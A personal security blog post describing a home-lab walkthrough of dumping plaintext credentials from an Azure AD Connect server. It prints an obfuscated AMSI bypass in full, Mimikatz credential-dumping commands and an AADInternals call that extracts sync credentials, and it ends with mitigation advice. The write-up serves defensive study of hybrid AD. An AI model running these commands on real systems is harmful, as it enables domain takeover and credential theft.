Dumping Creds from Azure AD Connect

Rich
7 min readJul 3, 2022

--

TL;DR howto dump plaintext credentials from an Azure AD Connect server, including both the ‘on prem’ AD account that can DCSync and the ADSync service account that has privileges in AAD.

Background

I setup hybrid AD in the lab last week, but I did stay in a Holiday Inn Express last night. None of this is original, I just took pieces of what Benjamin Delpy, Dr Nestori, and some others have put out there and tried it out in my home lab. I have a couple DCs, a few member servers, and a few client workstations. I put Azure AD Connect on one of the member servers. You can put it on a DC, however Microsoft does not recommend this. I am currently running the free version of Azure AD.

Microsoft makes syncing ‘on prem’ AD with Azure AD (AAD) pretty simple and straightforward. There were a few hiccups along the way, but I will leave those for a separate howto article. Most settings are default and I am using password hash synchronization.

About two minutes after setting up hybrid AD and confirming that it was syncing I started thinking “I’ll bet someone has figured out how to dump credentials from this thing”. So without further ado let’s get into it.

The scenario

This lab assumes that an attacker has managed to gain local admin access to the member server that is running Azure AD Connect. This could happen any number of ways, many of which we have covered before. They could have done something as simple as gained physical access and used an install disc or something like pivoting through the network. For the purposes of this lab it doesn’t matter. We are assuming compromise.

How to find the AAD Connect server

How did they find the server in the first place? There is an easy way. Google will tell you that the default account name created by Azure AD Connect at installation starts with “MSOL”. Hence one can simply run this query:

Get-ADUser -Filter {Name -like “*MSOL*”} -Properties * | Select-Object SamAccountName, MemberOf, DistinguishedName, Description | Format-List
Some screenshots edited IOT omit publicly accessible URLs/FQDNs

We find that Azure AD Connect has helpfully put a description on the account letting us know what it is used for and what server is in use. It also lets us know the AAD domain name.

Please note that some information has been redacted from these screenshots for obvious reasons.

Escalating from local admin

By default local admins have debug privileges. As we know this allows Mimikatz to dump credentials. Hence the attacker would copy/paste the AMSI bypass, import Mimikatz, and use it.

S`eT-It`em ( ‘V’+’aR’ + ‘IA’ + (‘blE:1’+’q2') + (‘uZ’+’x’) ) ( [TYpE]( “{1}{0}”-F’F’,’rE’ ) ) ; ( Get-varI`A`BLE ( (‘1Q’+’2U’) +’zX’ ) -VaL ).”A`ss`Embly”.”GET`TY`Pe”(( “{6}{3}{1}{4}{2}{0}{5}” -f(‘Uti’+’l’),’A’,(‘Am’+’si’),(‘.Man’+’age’+’men’+’t.’),(‘u’+’to’+’mation.’),’s’,(‘Syst’+’em’) ) ).”g`etf`iElD”( ( “{0}{2}{1}” -f(‘a’+’msi’),’d’,(‘I’+’nitF’+’aile’) ),( “{2}{4}{0}{1}{3}” -f (‘S’+’tat’),’i’,(‘Non’+’Publ’+’i’),’c’,’c,’ )).”sE`T`VaLUE”( ${n`ULl},${t`RuE} )Import-Module .\Invoke-Mimikatz.ps1
Invoke-Mimikatz -Command ‘“privilege::debug”’
Invoke-Mimikatz -Command ‘“sekurlsa::logonpasswords”’

Specifically the attacker is looking for the account that starts with ‘MSOL’. That is because, as Microsoft’s description says, this account has elevated privileges ‘on prem’. We can verify these privileges by running the query:

(Get-Acl (Get-ADDomain).DistinguishedName).Access | Where {$_.IdentityReference -like “*MSOL*”}

We have covered what these results mean here before, but suffice to say that the two extended rights are what is required to execute DCSync. Once an attacker does that they can begin forging tickets and impersonate any account they want to ‘on prem’.

As we can see, Mimikatz finds the plaintext credentials for the MSOL account. They now effectively own the ‘on prem’ AD.

Escalating from ‘on prem’

Ok great, so what? We’ve covered this before. We have shown step by step how to generate a Golden Ticket before.

However, this is hybrid AD. An attacker would want to get credentials to an AAD account.

Techniques that did not work in my lab

The first project I attempted was Dirk-jan’s adconnectdump. It is readily available on github and it clearly worked on others lab setup as demonstrated on his blog. It has the ability to dump creds remotely and uses Impacket and secretsdump.

I could not get it working though. I suspect this is because I went with the default configuration, which uses a local DB. Just to confirm I ran a standard nmap scan to see what ports are showing open on the Azure AD Connect server.

One can also simply query

Get-NetTCPConnection

I also tried vbscrub’s adaptation of the above with no success. It has also worked in other’s lab setups, at least in the past as demonstrated on his blog.

Dumping the ADSync creds

Finally I tried out the method outlined by Dr Nestori. This method is quite simple and only requires a PowerShell module which can be easily found on Google. Just download it and run the below.

Import-Module C:\AD\Tools\AADInternals-master\AADInternals-master\AADInternals.psd1Get-AADIntSyncCredentials

We have plaintext Azure AD credentials, along with the ‘on prem’ MSOL account we already got from Mimikatz. Please note that I ran this as a Domain Admin on the Azure AD Connect server, after running PowerShell_ISE ‘as administrator’, however an attacker who had already compromised an ‘on prem’ AD account with DCSync privileges would have no issue doing this. We’ve already covered that step by step, command by command in prior articles, so I skipped over it here.

Please note that Dr Nastori enumerated how the ADSync account communicates with AAD and created AADInternals. They have a very well written blog (https://o365blog.com/post/on-prem_admin/) that explains all the background.

I drew the quick & dirty diagram below to help myself visualize all this. It’s ugly, I know. I drew it out on a whiteboard initially and then whipped something together in PowerPoint.

Next steps

This is where I stop. An attacker would continue into AAD, obviously could compromise any accounts that are synced between AD and AAD, and could potentially escalate to Global Administrator even if that account is only in AAD. Dr Nestori goes over this on their blog.

However I keep my shenanigans ‘on prem’. I’ll Kerberoast, ASREPRoast, brute force, dump creds, PTH, PTT, run anything & everything in Metasploit, deauth, and just screw around in general on my own VMs. My kindergartner will cause IP conflicts with, ARP poison, MITM and otherwise DoS her twinsey. She’s vicious.

We aren’t doing anything in the cloud though, not yet anyway. Microsoft owns that, not us.

Mitigation

Others have said it before, but it bears repeating; protect your Azure AD Connect sever! Treat it the way you treat your DCs. The Azure AD Connect server stores credentials that will allow an attacker to completely compromise your ‘on prem’ AD, will at least partially compromise your AAD, and could completely compromise whatever data is in either.

I rather embarrassingly realized after nmap scanning mine that I had not applied Mishky’s GPO that disables NetBIOS to my member servers. I had only applied it to my workstation OU. If you have not already disabled this via Group Policy, we did a lab showing how easily exploitable it is and how to mitigate here.

Ensure that only Domain Admins or specific privileged users of your choosing can RDP, PSSession, or otherwise login interactively to your member servers. This can be configured under

Computer Configuration\Policies\Windows Settings\Security Settings\Local Policies\User Rights Assignment

I put the very few non-privileged user accounts that exist in my lab in a group named Minions and then set Group Policy accordingly.

Keep them patched of course and follow best practices. Additionally audit your AD to ensure that a prior administrator did not get sloppy and give excessive privileges out. We have run an entire article series on that one alone. I would recommend running BloodHound, set the Azure AD Connect server as the target, and see who has a path to it. You might be unpleasantly surprised at what you will find.

References:

MS docs on accounts used by AAD Connect: https://docs.microsoft.com/en-us/azure/active-directory/hybrid/reference-connect-accounts-permissions

Howto find the AAD Connect server: https://www.easy365manager.com/how-to-identify-your-azure-ad-connect-server/

Dirk-jan’s adconnectdump: https://github.com/fox-it/adconnectdump

Dirk-jan’s blog on adconnectdump: https://dirkjanm.io/updating-adconnectdump-a-journey-into-dpapi/

Vbscrub’s AdDecrypt.exe: https://vbscrub.com/2020/01/14/azure-ad-connect-database-exploit-priv-esc/

Dr Nestori’s blog on compromising AAD: https://o365blog.com/post/on-prem_admin/

AADInternals on github: https://github.com/Gerenios/AADInternals

AAD enumeration via PS: https://lazyadmin.nl/powershell/get-azureaduser/

Pivoting to AAD from AD: https://cybersecurityworks.com/blog/cyber-risk/a-pentesters-perspective-whats-next-after-domain-admin.html

--

--

Rich

I work various IT jobs & like Windows domain security as a hobby. Most of what’s here is my notes from auditing or the lab.